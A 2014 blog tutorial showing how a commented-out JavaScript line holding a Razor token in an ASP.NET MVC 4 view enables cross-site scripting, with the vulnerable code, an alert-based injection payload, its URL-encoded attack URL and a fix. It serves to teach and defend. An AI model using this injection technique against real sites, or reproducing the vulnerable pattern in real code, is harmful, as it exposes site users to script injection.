Tuesday, April 29, 2014

XSS attack into ASP.Net MVC 4 site via Javascript comment

Introduction

Till this moment I strongly believe that, software security can not be achieved. I am telling this within my 6 academic + 8 professional years of experience with computer systems. I did building computer systems as well as hacking the same. Whenever I architect a system most of the time I was able to forecast the holes too. But since timely release of the application takes more priority in most of the cases, I have no way except building the systems with security holes. 
"Computer software security is always a concept like perfection"
Hacking a desktop based software is more easy because we can always see the source code which helps to understand how its being executed. Sorry to the new generation developers who born into the managed world. When the old generation says source code its always assembly language which cannot be obfuscated or protected. Assembly language is enough to understand how the system works.

Web systems are easy to build as it requires primary knowledge of HTML and one scripting language. Now a days with the penetration of Node.JS, one can create web sites with only HTML & Javascript knowledge without even knowing how the web works on request-response mechanism. If a hacker finds out a security hole in a desktop system and make use of it, the impact will be normally less. For example if somebody hacks the serial key mechanism, only some people are going to use it, unless he puts that in internet. But think about a web system, if attacker succeeds in hacking a bank web site, the impact will be huge.

XSS is one type of the web attack.In short we can define that as below

"Injecting script into the system as if, it is input data and getting the same script executed on other user's browser"

I know this is not easy to digest at the first glance. If you need more details, visit the below links.
Below is one sort of XSS attack which uses the query string to inject script and makes it available inside a script block.
http://buffered.io/posts/xss-flaws-via-mvc-model-binding-and-request.querystring-inconsistencies/

One more special case is to exploit the javascript encoding and passes the javascript via innerHTML property of html elements.
http://weblogs.asp.net/jgalloway/archive/2011/04/28/preventing-javascript-encoding-xss-attacks-in-asp-net-mvc.aspx

XSS via commented JS which has ASP.Net MVC RAZOR token

Normally in MVC people may not use the old query string technique.Also the sites will be having the ASP.Net request validation enabled. The ASP.Net request validation scans all the requests for any possible script tags and throws exception on the same.

What if the script came through an Action method without script tag and renders with the help of a commented line and get executed without even an HTML event? Again, the Action method can be invoked both by get requests and post requests.

We are going to discuss how such a situation can occur.

The victim Web application / ASP.Net site

In most of the cases the security holes are opened by the programmers unknowingly. Lets take an example of a simple web site. Here the programmer wants to implement a contact page where the contact person's name comes via an action method.

@model MvcExceptionHandlingDemo.Models.Contact
@{
    ViewBag.Title = "Contact";
}
 
<hgroup class="title">
    <h1>@ViewBag.Title.</h1>
    <h2>@ViewBag.Message</h2>
    @using (Html.BeginForm())
    {
        @Html.LabelFor(s => s.Name)    @Html.TextBoxFor(s => s.Name)
        <input type="submit" value="Change" />
    }
</hgroup>

        public ActionResult Contact(string name)
        {
            ViewBag.Message = name;
            if (ViewData.Model == null)
            {
                ViewData.Model=new Contact(){Name=name};
            }
            return View();
        }
        [HttpPost]
        public ActionResult Contact(Contact c)
        {
            ViewBag.Message = c.Name;
            if (ViewData.Model == null) ViewData.Model = c;
            return View();
        }

One of his intention was to show the social profile of that person by using some web services which accepts name. So wrote a javascript function. But later he commented the js code because he was not able to find suitable web API which gives the social profiles.

<script type="text/javascript">
    function dispProfile() {
        //var s = '@ViewBag.Message';
    }
</script>

How to conduct attack

The base for this attack is the option of rendering text into javascript which is commented. The MVC framework doesn't know about the javascript comment. So it will do its duty which is nothing but rendering the value in @ViewBag.Message property.

What string we should inject as script in this scenario is little tricky.
  1. We need to close the existing js function. 
  2. Then we can have our script. Since it is outside of the function it will get executed when page loads.
  3. Finally we need to have a dummy function with only starting '{' to make sure the script is in correct syntax
Below is one sample javascript which we can inject

';
}
alert(2024);
function dummy(){
//

This will make sure dispProfile() function closed properly. and write the attack script (Here it is alert(2024);) and starts a new dummy function to make the syntax proper.Otherwise the dispProfile() function will be in open state. So after the injection the rendered script will be as follows.

 <script>
    function dispProfile() {
        //var s = '&#39;;
}
alert(2024);
function dummy(){
//';
    }
</script>

One more thing to remember is how to inject this script .One of the option is to exploit the Contact action method with msg parameter. If we normally inject any script tag the ASP.Net request validation system will throw error. But here we are not injecting the script tag as it is. Instead some fragments of script. The script as its cannot be added to URL. For that we need to use the URLEncoded string of the script. Encoded URL can be

http://localhost:50471/Home/Contact?msg=%27%3B%0A%7D%0Aalert(2024)%3B%0Afunction%20dummy()%7B%0A%2F%2F

There are so many online URL encoding and decoding sites. Those can be used to do the encoding.

How to prevent

In this case the problem is commented code. The intention of the programmer is to stop the functionality of dispProfile() but he forgot the fact that its containing RAZOR token. He should have commented RAZOR code as well. In other words here same program is handled by 2 execution engines. RAZOR & Javascript. So when commented it should be commented for both the engines.

Sample application can be downloaded from the below link.

1 comment:

David said...

Thanks for sharing the article. As a programmer, you use tools for the encoding or decoding, od either is URL, or base 64 encode or decode, or other tools related to the web as well. Here is a website, that provides 100+ web utilities under one domain
url-decode.com/
You must check it out.